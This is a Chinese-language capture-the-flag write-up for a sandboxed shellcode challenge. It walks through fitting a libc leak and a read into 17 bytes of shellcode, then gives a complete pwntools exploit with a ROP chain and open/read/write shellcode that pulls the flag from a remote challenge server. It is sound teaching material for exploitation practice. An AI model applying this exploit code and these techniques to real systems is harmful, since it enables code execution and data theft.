👴 是 Master
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-8h]
init(argc, argv, envp);
sandbox();
buf = mmap((void *)0x2023000, 0x1000uLL, 7, 34, -1, 0LL);
puts("Try to ORW in limited bytes!");
read(0, buf, 17uLL);
puts("Hope that works~");
mprotect(buf, 0x1000uLL, 4);
asm(
"mov r15, 2023000h"
"mov rax, 2023h"
"mov rbx, 2023h"
"mov rcx, 2023h"
"mov rdx, 2023h"
"mov rsp, 2023h"
"mov rbp, 2023h"
"mov rsi, 2023h"
"mov rdi, 2023h"
"mov r8, 2023h"
"mov r9, 2023h"
"mov r10, 2023h"
"mov r11, 2023h"
"mov r12, 2023h"
"mov r13, 2023h"
"mov r14, 2023h"
"jmp r15"
);
}
|
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0a 0xc000003e if (A != ARCH_X86_64) goto 0012
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x08 0x00 0x40000000 if (A >= 0x40000000) goto 0012
0004: 0x15 0x07 0x00 0x0000009d if (A == prctl) goto 0012
0005: 0x15 0x06 0x00 0x00000038 if (A == clone) goto 0012
0006: 0x15 0x05 0x00 0x00000039 if (A == fork) goto 0012
0007: 0x15 0x04 0x00 0x0000003a if (A == vfork) goto 0012
0008: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 0012
0009: 0x15 0x02 0x00 0x00000065 if (A == ptrace) goto 0012
0010: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x06 0x00 0x00 0x00000000 return KILL
hint1: movq rsp, xmm2
hint2: 利用 shellcode
构造自己的 gadget
转为 ROP
开了沙箱, 最多写 17 个字节的 shellcode. 在执行 shellcode 之前, 把 shellcode 的所在页权限设为 rx, 把所有通用寄存器除 r15 外写为 0x2023
, r15 写为 gadget 地址. jmp r15 执行 shellcode.
根据提示, 第一个句写 movq rsp, xmm2
, xmm2 浮点数寄存器中恰好保存有一个可读可写的 libc 地址. 接下来 write 这里, 可以 leak libc, 然后再 read 向 “栈” 上写 ROP chain, 最后 ret 执行 ROP.
bb 甩了一个 19 个字节的 shellcode 给我:
1
2
3
4
5
6
7
8
9
|
movq rsp,xmm2
and eax, 1
and edi, eax
push rsp
pop rsi
syscall
xor eax, eax
syscall
ret
|
一开始我的思路是优化 and eax, 1; and edi, eax
两句, 再后来发现 rdi 和 rax 的值可以一样, 0, 1 都可以用来输入输出, 然后又去找有没有同时修改两个寄存器的 trick, (还真有, mul 可以同时修改 rax 和 rdx) 但是没有能够同时修改 rax 和 rdi 的.
后来又想到, 两次 syscall, 对 rax 赋值两次, 能不能只写一次, 用一个 jmp 去执行两次.
最开始的想法是 dec rax; jne
, 但是 rax 是返回值, 会变. 于是用过了一个 rdi, 在循环体里赋值给 rax, 结果 exit 比 write 和 read 都大, 直接退出了.
接下来就想有没有正好执行两次的构造. 发现可以用 shr
来解决, shr rax 13
第一次将 rax 右移 13 位变成 1, 第二次右移变成 0. 正好 jne
就行. 想写的大概是下面这样的:
1
2
3
4
5
|
l:
and edi, eax
syscall
shr eax, 13
jnz l
|
或者这样:
1
2
3
4
5
|
l:
shr edi, 13
syscall
and eax, edi
jnz l
|
这样加上头尾刚好是 17 字节. 不过这样写都不能实现之前的想法.
最后想起来, jcc 只是去检查 rflags 的某个 bit 罢了, 只要它不变, 其实没必要 jcc 前一条指令是运算指令. 然后写出了这个:
1
2
3
4
5
6
7
8
9
|
movq rsp,xmm2
push rsp
pop rsi
l:
shr edi, 13
and eax, edi
syscall
jnz l
ret
|
验证一下, syscall 确实不会改变 rflags.
执行这个 shellcode 会先 write 一堆东西, 可以 leak libc, 然后 read 写 ROP chain 到 “栈” 上, ret 执行 ROP.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
|
from pwn import *
context(os='linux', arch='amd64')# , log_level='debug')
procname = './pwn'
libcname = './libc.so.6'
# io = process(procname, stdin=PTY)
io = remote('43.137.11.211', 7724)
elf = ELF(procname)
libc = ELF(libcname)
n2b = lambda x : str(x).encode()
rv = lambda x : io.recv(x)
ru = lambda s : io.recvuntil(s, drop=True)
sd = lambda s : io.send(s)
sl = lambda s : io.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda p, s : io.sendafter(p, s)
sla = lambda p, s : io.sendlineafter(p, s)
sna = lambda p, n : sla(p, n2b(n))
ia = lambda : io.interactive()
rop = lambda r : flat([p64(x) for x in r])
def leakaddr(pre = None, suf = None, bit = 64, keepsuf = True, off = 0):
u = {64: u64, 32: u32}
num = 6 if bit == 64 else 4
if pre is not None:
ru(pre)
if suf is not None:
r = ru(suf)
if keepsuf:
r += suf
r = r[-num:]
else:
r = rv(num)
return u[bit](r.ljust(bit//8, b'\0')) - off
shellcode = '''
movq rsp,xmm2
push rsp
pop rsi
l:
shr edi, 13
and eax, edi
syscall
jnz l
ret
'''
sa(b'Try to ORW in limited bytes!\n', asm(shellcode))
libc.address = leakaddr(suf=b'\x7f', off=0x1EE7E0)
success(f'leak libc.address: {hex(libc.address)}')
pop_rdi_ret = libc.address + 0x023b6a
pop_rsi_ret = libc.address + 0x02601f
pop_rdx_ret = libc.address + 0x142c92
pop_rax_ret = libc.address + 0x036174
syscall_ret = libc.address + 0x0630a9
code = 0x02023000
buf = 0x02023100
orw = shellcraft.open('/flag', 0)
orw += shellcraft.read(3, buf, 0x50)
orw += shellcraft.write(2, buf, 0x50)
chain = rop([
pop_rdi_ret, code,
pop_rsi_ret, 0x1000,
pop_rdx_ret, 7,
libc.sym.mprotect,
pop_rdi_ret, 0,
pop_rsi_ret, code,
pop_rdx_ret, len(asm(orw)),
libc.sym.read,
code,
])
sd(chain)
sd(asm(orw))
ru(b'secpunk{')
flag = b'secpunk{' + ru(b'}') + b'}'
print(flag)
|
然而 🐧 学长只用了 16 字节, orz.